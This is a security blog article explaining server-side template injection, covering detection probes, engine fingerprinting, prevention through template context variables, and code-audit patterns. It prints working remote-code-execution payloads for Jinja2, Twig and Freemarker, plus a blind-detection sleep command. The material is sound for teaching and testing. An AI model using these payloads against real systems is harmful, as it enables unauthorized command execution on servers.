{{7*7}}
the standard SSTI detection probe: a response of 49 instead of the literal string confirms the template engine is evaluating user input
7+
commonly exploited template engines including Jinja2, Twig, Freemarker, Velocity, Pebble, Smarty, and Handlebars, each with distinct RCE payload syntax
49
the integer result that confirms SSTI when returned in place of the literal string '{{7*7}}', indicating expression evaluation rather than data rendering
?new()
Freemarker built-in that instantiates arbitrary Java classes on the classpath, enabling RCE via freemarker.template.utility.Execute with no additional exploit primitives required

SponsoredRetool

Retool's new app builder is where AI-generated code ships safely

Building apps with AI is easy. Getting them to production safely is another story.

Start building for free today

Server-side template injection is a code injection vulnerability that exploits the boundary between template code (developer-written) and template data (user-supplied). Template engines are designed to evaluate expressions in template strings to produce dynamic output: a template like 'Hello {{name}}' with context {'name': 'Alice'} renders 'Hello Alice'. The vulnerability occurs when developers mistakenly concatenate user input into the template string itself rather than the context: Template('Hello ' + user_input) with user_input = '{{7*7}}' produces 'Hello 49', because the template engine evaluates the injected expression.

This vulnerability class is well-documented and exploitable across nearly every popular template engine. The impact is typically remote code execution because template expressions have access to the underlying programming language's runtime, including file I/O and process execution capabilities. The fix is straightforward but requires understanding where the vulnerability pattern occurs in your codebase.

Identifying SSTI: detection and engine fingerprinting

Detection starts with sending template expression syntax to every user-controlled input field and observing whether the response contains an evaluated result rather than the literal string. Because different template engines use different expression delimiters, a single probe like {{77}} will only detect engines that use double-brace syntax; you need to test multiple variants including ${77}, #{77}, and <%=77%> to cover the full range of common engines. Once a positive result is confirmed, fingerprinting the specific engine is the next step because the RCE exploit payload for Jinja2 is completely different from the one for Freemarker, and using the wrong payload against a vulnerable endpoint will produce no output and mislead you into thinking the endpoint is safe. The three detection methods below cover automated scanning, engine fingerprinting via payload differentiation, and blind SSTI where no output is reflected.

Initial detection payload

Send {{7*7}} in every user-controlled field. This payload is syntactically valid in Jinja2, Twig, Handlebars, and Angular templates. If the response contains 49, the template engine evaluated the expression. Also test ${7*7} (Freemarker, JSP EL, Groovy), #{7*7} (Thymeleaf), <%=7*7%> (ERB/Mako), and *{7*7} (Spring Thymeleaf). Test in: URL query parameters, POST body fields, HTTP headers (X-Forwarded-For, Referer, User-Agent, custom headers), cookies, file upload filenames, and JSON body values if the application uses template rendering on JSON input.

Template engine fingerprinting

Different template engines use different syntax and behave differently with ambiguous expressions. Use PortSwigger's SSTI decision tree: send {{7*7}} (Jinja2/Twig positive), then send {{7*'7'}} (returns 7777777 in Jinja2, 49 in Twig). If ${7*7} evaluates, the engine may be Freemarker, Spring EL, or JSP EL. If {7*7} evaluates (with single braces), the engine may be Smarty. Knowing the engine determines which exploitation payload to use. Burp Suite Pro's active scanner automates engine fingerprinting and payload selection.

Blind SSTI: detection without visible output

When the injected expression result is not reflected in the response, use time-based detection or out-of-band callbacks. Time-based: inject a sleep expression (in Jinja2: {{lipsum.__globals__.os.popen('sleep 5').read()}}; if the response is delayed by 5 seconds, SSTI and RCE are confirmed). Out-of-band: inject a DNS lookup or HTTP callback (using curl or wget via RCE) to an attacker-controlled domain. Burp Collaborator and interactsh receive these callbacks. Blind SSTI is common when the template renders in email content, PDF generation, or logging pipelines rather than HTTP responses.

Exploitation payloads by template engine

Each template engine exposes a different execution path to the underlying runtime, so the RCE payload is not transferable between engines. Jinja2 exploits Python's class hierarchy through attribute traversal to reach subprocess.Popen; Twig exploits PHP callable resolution through filter chaining and class instantiation; Freemarker uses its own ?new() built-in to instantiate Java classes that execute system commands directly. These payloads are documented here for authorized penetration testing and red team exercises where demonstrating impact is necessary to justify remediation prioritization. Before using any of these payloads, confirm written authorization for the target environment and test against an isolated staging instance first to calibrate the correct class index or class name for that specific deployment.

Jinja2 (Python/Flask): Python object traversal to subprocess

Via Python's class hierarchy: {{''.__class__.__mro__[1].__subclasses__()}} lists Python subclasses. Find the index of subprocess.Popen (varies by environment, typically 250-400) with a loop payload, then: {{''.__class__.__mro__[1].__subclasses__()[INDEX](['id'],shell=True,stdout=-1).communicate()}}. Simpler Flask-specific payload: {{lipsum.__globals__.os.popen('id').read()}} — lipsum is a global function available in Jinja2's default environment with access to os via __globals__. Alternative via config: {{config.__class__.__init__.__globals__['os'].popen('id').read()}}.

Twig (PHP): class instantiation and code execution

Twig 1.x: {{_self.env.registerUndefinedFilterCallback('exec')}}{{_self.env.getFilter('id')}} — this exploits the fact that Twig calls exec() with user-controlled input as the function name lookup. Twig 2.x/3.x: more restricted; use {{['id']|map('system')|join}} if system is in the allowed callable list, or exploit Twig's class instantiation via {{class('CommandClass').__construct().execute('id')}} if such a class is accessible. Twig with Symfony: {{app.user}} and related globals provide access to the Symfony container, enabling service extraction and potential RCE through service method calls.

Freemarker (Java): ?new() built-in and Execute

Freemarker's ?new() built-in instantiates Java classes: <#assign ex='freemarker.template.utility.Execute'?new()>${ex('id')}. The freemarker.template.utility.Execute class's exec() method runs system commands. Alternative: <#assign classLoader=object?api.class.classLoader><#assign className=classLoader.loadClass('java.lang.Runtime')><#assign runtime=className.getMethod('getRuntime').invoke(null)><#assign process=runtime.exec('id')>. Freemarker's API access is controlled by the template configuration's object_wrapper setting. With full API access enabled, the attack surface is the entire Java classpath.

Free daily briefing

Briefings like this, every morning before 9am.

Threat intel, active CVEs, and campaign alerts, distilled for practitioners. 50,000+ subscribers. No noise.

Prevention: separating user data from template code

The fix for SSTI is architectural and does not require complex input sanitization or output encoding: the template string must always be developer-controlled source code, and user input must only ever appear as values passed into the rendering context. This distinction maps directly to the difference between parameterized queries and string concatenation in SQL injection: the same principle applies, and the same failure mode (mixing code and data) produces the same class of vulnerability. The correct and incorrect patterns are shown side by side for Python and PHP below, followed by the grep patterns and Semgrep rules that identify the vulnerable pattern in an existing codebase so you can audit all template rendering calls systematically before deploying fixes.

The correct pattern: data in context, not in template

Vulnerable Python/Jinja2: template = Template('Hello ' + request.args.get('name')); template.render(). Secure: template = Template('Hello {{name}}'); template.render(name=request.args.get('name')). Vulnerable PHP/Twig: $twig->render($userInput, []). Secure: $template = $twig->load('greeting.html'); $template->render(['name' => $userInput]). The template string is always developer-controlled. User input is only ever provided as values in the context dictionary. This is the universal fix: it does not require sanitization of user input, because the template engine treats context values as data, not as template expressions to evaluate.

Code review: detecting the vulnerable pattern

Search for template instantiation or rendering calls where the first argument (the template string) includes string concatenation or format operations that could include user input. Python/Jinja2: grep -r 'Template(' | grep '+\|format\|%\|f"'. PHP/Twig: grep -r 'render(' and check whether the first argument is a variable (template file path, safe) or a string expression (potentially unsafe). Java/Freemarker: grep -r 'Template.getPlainTextTemplate\|new SimpleScalar\|StringWriter' and check for string construction with user-controlled data. Semgrep rules for SSTI exist in the Semgrep registry for all major template engines.

The bottom line

Server-side template injection has a clear root cause and a deterministic fix: template strings are code and must be developer-controlled, never user-controlled. The vulnerable pattern is string concatenation of user input into template expressions; the secure pattern is passing user input as context variables to fixed template strings. Review your codebase for dynamic template construction, test every user-controlled input with the {{7*7}} probe and its engine-specific variants, and use Semgrep's SSTI ruleset to catch the vulnerable pattern in CI. If a template engine is used for user-customizable content (email templates, dynamic reports), evaluate whether the engine's sandbox mode is sufficient or whether a logic-less template engine (Mustache, Handlebars without helpers) provides a safer alternative for user-supplied templates.

Frequently asked questions

What is server-side template injection?

Server-side template injection occurs when user-controlled input is concatenated into a template string that is then rendered by a template engine. Template engines evaluate expressions in their syntax ({{expression}} in Jinja2, ${expression} in Freemarker, #{expression} in Thymeleaf) to produce dynamic output. If user input is placed inside these expression delimiters before rendering, the template engine evaluates the attacker's input as code rather than data, enabling arithmetic evaluation ({{7*7}} returning 49), object access, and ultimately system command execution.

How do I test for SSTI vulnerabilities?

Send template expression syntax in all user-controlled parameters: the URL, POST body, HTTP headers, cookies, and file upload names. Start with a mathematical expression that would be obviously wrong as a literal string: {{7*7}}, ${7*7}, #{7*7}, <%=7*7%>, *{7*7}. If the response contains 49 instead of the literal string, the template engine evaluated the expression and SSTI is present. Different template engines use different syntax, so test multiple variants. Burp Suite's scanner detects SSTI automatically. The PortSwigger SSTI decision tree helps identify the template engine based on which payload syntax produces evaluation.

How is Jinja2 SSTI exploited to achieve RCE?

Jinja2 templates have access to Python's object model. The standard RCE payload uses Python's class hierarchy to reach os.system(): {{''.__class__.__mro__[1].__subclasses__()}} lists all loaded Python classes. Find the index of subprocess.Popen or _io.FileIO in the list (varies by Python version and imports), then call it: {{''.__class__.__mro__[1].__subclasses__()[INDEX](['id'],shell=True,stdout=-1).communicate()}}. Alternative using config object in Flask: {{config.__class__.__init__.__globals__['os'].popen('id').read()}}. These payloads work because Jinja2's sandbox (if enabled) can often be bypassed via attribute access chains.

What template engines are most commonly vulnerable to SSTI?

The most commonly exploited template engines are: Jinja2 (Python/Flask/Django) - full RCE via Python object traversal; Twig (PHP) - RCE via class instantiation and filter chaining; Freemarker (Java) - RCE via the ?new() built-in and Execute class; Velocity (Java) - RCE via ClassTool and the Runtime class; Pebble (Java) - code execution via variable access; Smarty (PHP) - RCE via {php} tags or plugin functions; Tornado (Python) - limited expression evaluation; Handlebars (Node.js) - RCE via prototype pollution in older versions. The severity varies: some engines provide stronger sandboxing by default, though most sandboxes have documented bypass techniques.

How do I prevent SSTI?

The primary fix is to separate user input from template code at the data model level: pass user data as template variables (context/model), never concatenate it into the template string itself. The template string is developer-controlled code; the context dictionary is user-supplied data. Example of vulnerable code in Python/Jinja2: template = Template('Hello ' + request.args.get('name')); rendered = template.render(). Secure code: template = Template('Hello {{name}}'); rendered = template.render(name=request.args.get('name')). In the secure version, even if name contains {{7*7}}, it is treated as data, not template syntax.

Can SSTI sandboxes be bypassed?

Most template engine sandboxes have documented bypass techniques and should not be relied on as the primary security control. Jinja2's SandboxedEnvironment limits attribute access but has known bypasses via the __subclasses__ chain and specific class relationships. Twig's sandbox mode restricts function calls but requires careful allowlist configuration. The Freemarker sandbox is not enabled by default and requires explicit configuration. Treat sandboxes as defense-in-depth, not the primary fix. The primary fix is always: do not pass user input into template strings. Sandboxes reduce the blast radius when SSTI is present, but do not prevent it.

How does SSTI differ from SQL injection?

Both SSTI and SQL injection are injection vulnerabilities caused by mixing untrusted user data with trusted code or query syntax. SQL injection embeds user data into a SQL query string; SSTI embeds user data into a template string. Both are prevented by the same principle: keep user data in separate parameters (parameterized queries for SQL, template context variables for templates) rather than concatenating it into the code or query string. SSTI is often more severe than SQL injection because it directly reaches the application runtime's code execution capabilities, while SQL injection requires SQL-level exploitation that may not provide direct OS command execution.

Sources & references

  1. PortSwigger SSTI Research: Exploiting Template Injection
  2. HackTricks SSTI Guide
  3. OWASP SSTI
  4. CWE-1336: Improper Neutralization of Special Elements in Template Engine

Free resources

25
Free download

Critical CVE Reference Card 2025–2026

25 actively exploited vulnerabilities with CVSS scores, exploit status, and patch availability. Print it, pin it, share it with your SOC team.

No spam. Unsubscribe anytime.

Free download

Ransomware Incident Response Playbook

Step-by-step 24-hour IR checklist covering detection, containment, eradication, and recovery. Built for SOC teams, IR leads, and CISOs.

No spam. Unsubscribe anytime.

Free newsletter

Get threat intel before your inbox does.

50,000+ security professionals read Decryption Digest for early warnings on zero-days, ransomware, and nation-state campaigns. Free, daily, no spam.

Unsubscribe anytime. We never sell your data.

Eric Bang
Author

Founder & Cybersecurity Evangelist, Decryption Digest

Cybersecurity professional with expertise in threat intelligence, vulnerability research, and enterprise security. Covers zero-days, ransomware, and nation-state operations for 50,000+ security professionals every morning.

Black Hat Giveaway

Win a $2,495 Black Hat pass.

Full-access to Black Hat USA 2026 in Las Vegas. Subscribe free to enter.

Joins Decryption Digest daily briefing. Unsubscribe anytime.

Related Questions: Answer Hub

Giveaway: Black Hat USA 2026 Full-Access Pass ($2,495 value)

Details →
Daily Briefing

Subscribe to enter the giveaway

Every subscriber is automatically entered. You also get daily threat intel every morning: zero-days, ransomware, and nation-state campaigns. Free. No spam.

Already subscribed? You're already entered.

Giveaway

Win a $2,495 Black Hat USA 2026 pass.